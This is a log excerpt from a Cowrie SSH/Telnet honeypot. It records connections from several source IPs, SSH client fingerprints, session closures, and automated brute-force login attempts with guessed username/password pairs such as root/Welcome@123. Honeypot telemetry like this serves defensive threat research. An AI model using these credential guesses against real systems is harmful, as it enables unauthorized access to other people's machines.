{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52806,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaaf5c7ddc4e","protocol":"ssh","message":"New connection: 176.65.132.254:52806 (10.17.0.5:22) [session: eaaf5c7ddc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:32.419158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:32.423546Z","src_ip":"176.65.132.254","session":"eaaf5c7ddc4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:32.507278Z","src_ip":"176.65.132.254","session":"eaaf5c7ddc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.153878927230835,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:32.627789Z","src_ip":"62.210.97.77","session":"7d1c3c6915ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:32.755508Z","src_ip":"176.65.132.254","session":"eaaf5c7ddc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:33.843357Z","src_ip":"176.65.132.254","session":"eaaf5c7ddc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.20949602127075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:33.864368Z","src_ip":"62.210.97.77","session":"52900742fa9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50264930725098,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:34.113487Z","src_ip":"62.210.97.77","session":"0244240bbdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40200,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c7b5c3085bb","protocol":"telnet","message":"New connection: 62.210.97.77:40200 (10.17.0.5:23) [session: 1c7b5c3085bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:34.366062Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40210,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2ea76c785c","protocol":"telnet","message":"New connection: 62.210.97.77:40210 (10.17.0.5:23) [session: fd2ea76c785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:34.828727Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6418785afd21","protocol":"telnet","message":"New connection: 65.60.27.33:35268 (10.17.0.5:23) [session: 6418785afd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:35.625748Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42792,"dst_ip":"10.17.0.5","dst_port":23,"session":"31aefabeb4da","protocol":"telnet","message":"New connection: 165.232.131.181:42792 (10.17.0.5:23) [session: 31aefabeb4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:35.671317Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42830,"dst_ip":"159.203.135.109","dst_port":23,"session":"09e30ed58eb2","protocol":"telnet","message":"New connection: 134.209.8.29:42830 (159.203.135.109:23) [session: 09e30ed58eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:35.692728Z"}
{"eventid":"cowrie.session.closed","duration":42.96488308906555,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:36.157540Z","src_ip":"65.60.27.33","session":"764e8edbf8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52816,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbf3806df16c","protocol":"ssh","message":"New connection: 176.65.132.254:52816 (10.17.0.5:22) [session: fbf3806df16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:36.557331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:36.562004Z","src_ip":"176.65.132.254","session":"fbf3806df16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:36.644603Z","src_ip":"176.65.132.254","session":"fbf3806df16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:36.892121Z","src_ip":"176.65.132.254","session":"fbf3806df16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:37.978032Z","src_ip":"176.65.132.254","session":"fbf3806df16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53090,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf2939359460","protocol":"telnet","message":"New connection: 134.209.8.29:53090 (159.203.135.109:23) [session: cf2939359460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:38.205130Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"292e1661b0bf","protocol":"ssh","message":"New connection: 156.232.13.218:58434 (10.17.0.5:22) [session: 292e1661b0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:38.612614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:38.618176Z","src_ip":"156.232.13.218","session":"292e1661b0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9332804679870605,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:38.625854Z","src_ip":"134.209.8.29","session":"09e30ed58eb2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:38.695421Z","src_ip":"156.232.13.218","session":"292e1661b0bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q1q1","message":"login attempt [ubuntu/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:39.013944Z","src_ip":"156.232.13.218","session":"292e1661b0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.089465Z","src_ip":"156.232.13.218","session":"292e1661b0bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2735bde8a7f9","protocol":"ssh","message":"New connection: 176.65.132.254:52830 (10.17.0.5:22) [session: 2735bde8a7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.325668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.330790Z","src_ip":"176.65.132.254","session":"2735bde8a7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.412727Z","src_ip":"176.65.132.254","session":"2735bde8a7f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3042950630188,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.490886Z","src_ip":"62.210.97.77","session":"3af6ea18abdc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:40.659585Z","src_ip":"176.65.132.254","session":"2735bde8a7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"08debcd17e1a","protocol":"telnet","message":"New connection: 65.60.27.33:40584 (10.17.0.5:23) [session: 08debcd17e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:41.245874Z"}
{"eventid":"cowrie.session.closed","duration":32.61846613883972,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:41.656066Z","src_ip":"62.210.97.77","session":"0edf40cbfc09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:41.906722Z","src_ip":"176.65.132.254","session":"2735bde8a7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42258,"dst_ip":"10.17.0.5","dst_port":23,"session":"64a3e0058e13","protocol":"telnet","message":"New connection: 65.60.27.33:42258 (10.17.0.5:23) [session: 64a3e0058e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:42.085564Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42322,"dst_ip":"10.17.0.5","dst_port":23,"session":"595717ee1484","protocol":"telnet","message":"New connection: 38.54.119.93:42322 (10.17.0.5:23) [session: 595717ee1484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:43.176543Z"}
{"eventid":"cowrie.session.closed","duration":35.87427115440369,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:43.492787Z","src_ip":"65.60.27.33","session":"cc04c4dfa95e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39328,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f57a17530c2","protocol":"ssh","message":"New connection: 176.65.132.254:39328 (10.17.0.5:22) [session: 3f57a17530c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.336713Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b81f1920919","protocol":"telnet","message":"New connection: 62.210.97.77:58858 (10.17.0.5:23) [session: 5b81f1920919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.341664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.345241Z","src_ip":"176.65.132.254","session":"3f57a17530c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.169286251068115,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.348636Z","src_ip":"165.232.131.181","session":"a01c4206ca8e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.427216Z","src_ip":"176.65.132.254","session":"3f57a17530c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62e76b0b8c3","protocol":"telnet","message":"New connection: 62.210.97.77:58864 (10.17.0.5:23) [session: d62e76b0b8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.568627Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.679554Z","src_ip":"176.65.132.254","session":"3f57a17530c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14384913444519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:44.852623Z","src_ip":"136.144.139.78","session":"558c0973c9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.931357145309448,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:45.136343Z","src_ip":"134.209.8.29","session":"cf2939359460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:45.781077Z","src_ip":"176.65.132.254","session":"3f57a17530c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c3e6ed6194","protocol":"telnet","message":"New connection: 62.210.97.77:58872 (10.17.0.5:23) [session: e8c3e6ed6194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:46.557339Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ed7a70e7da","protocol":"telnet","message":"New connection: 62.210.97.77:58878 (10.17.0.5:23) [session: 20ed7a70e7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.200584Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39330,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf2890c25656","protocol":"ssh","message":"New connection: 176.65.132.254:39330 (10.17.0.5:22) [session: bf2890c25656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.244790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.249783Z","src_ip":"176.65.132.254","session":"bf2890c25656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49428,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa1ed486eab","protocol":"telnet","message":"New connection: 65.60.27.33:49428 (10.17.0.5:23) [session: 3aa1ed486eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.310056Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:48.337978Z","src_ip":"176.65.132.254","session":"bf2890c25656","protocol":"ssh"}
